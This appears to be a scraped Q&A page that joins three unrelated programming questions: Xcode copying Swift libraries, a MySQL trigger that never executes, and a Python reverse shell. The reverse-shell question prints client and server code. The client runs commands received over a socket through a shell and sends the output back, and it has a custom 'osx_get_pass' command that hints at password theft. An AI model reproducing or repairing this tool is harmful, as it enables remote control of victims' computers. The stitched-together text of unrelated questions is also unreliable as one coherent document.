from where CopySwiftLibs gets executes and copies standard swift libraries? is there a way to avoid it?

From where CopySwiftLibs gets executed? I am trying to avoid getting libswift*.dylib which gets copied through CopySwiftLibs, I see an option in xcode, which is “Always Embed Swift Standard Libraries”, but it is set to “No”, but still libswift libraries gets copied to Contents/Frameworks/ of app. Is there a way yo avoid it?

After i send back a string the next command get’s ignored and the command after that executes the first command

I have create a python reverse shell and it works great. In the python script you can send a pre made function and it works but after the function has executed and i want to enter next command x nothing happens. When i then try to execute command y for some reasons command x goes through. And then this keeps on going, it’s almost as if something does not get reset.

But if i do not use one of my remade functions it works great, for example i can do “ls” and then after “cd ..” without any problems.

I have tried most of the things, but not everything. I just cant wrap my head around why it does what it does.

################# client.py #################  this is the script the client runs. Not all of the code is here  #### Receiving bit ##### while True:     data = s.recv(1024)     if data[:2].decode("utf-8") == 'cd':         os.chdir(data[3:].decode("utf-8"))      #Custom payload     if len(data) > 0:          #Custom command with attributes                 if data.decode("utf-8") == 'osx_get_pass':             test_funtion()             s.send(str(str(os.getcwd()) + '> '))         elif data.decode("utf-8") != '':             cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)             output_bytes = cmd.stdout.read() + cmd.stderr.read()             output_str = str.decode(output_bytes)             s.send(str(output_str + str(os.getcwd()) + '> '))  #### Function (test_funtion()) ##### def test_funtion():     string = "test"     s.send(str(string))     return  ################# server.py ##############  def send_target_commands(conn):     while True:         try:             cmd = input()             if cmd == 'quit':                 break             if len(str.encode(cmd)) > 0:                 conn.send(str.encode(cmd))                 client_respons = str(conn.recv(20480), "utf-8")                 print(client_respons, end="")         except:             print("Connection was lost")             break 

I expect to be able to perform a command directly after preforming a function (test_function) in this case

trying to create trigger, create never executes

I am trying to define a trigger in MySQL and the language to create it never executes. I have already defined and inserted data into the database with no problem.

This is the start of my trigger. As you can see I put some giberish in there to illustrate that this never executes because it produces no errors at all.

delimiter //  snthd\- \qeiksdhsnthd-/rcg dsth o;eui;r/cf/r \qk-xnthr/cf   CREATE TRIGGER deleted_insert ON item AFTER UPDATE,INSERT AS  BEGIN         ...etc body of trigger  END;  delimiter ; 

Executing this does absolutely nothing and does not return any output from the sql server. If I do not change the delimiter, then it does execute but produces a syntax error on the ‘ON’ keyword.

How can simply declare this trigger?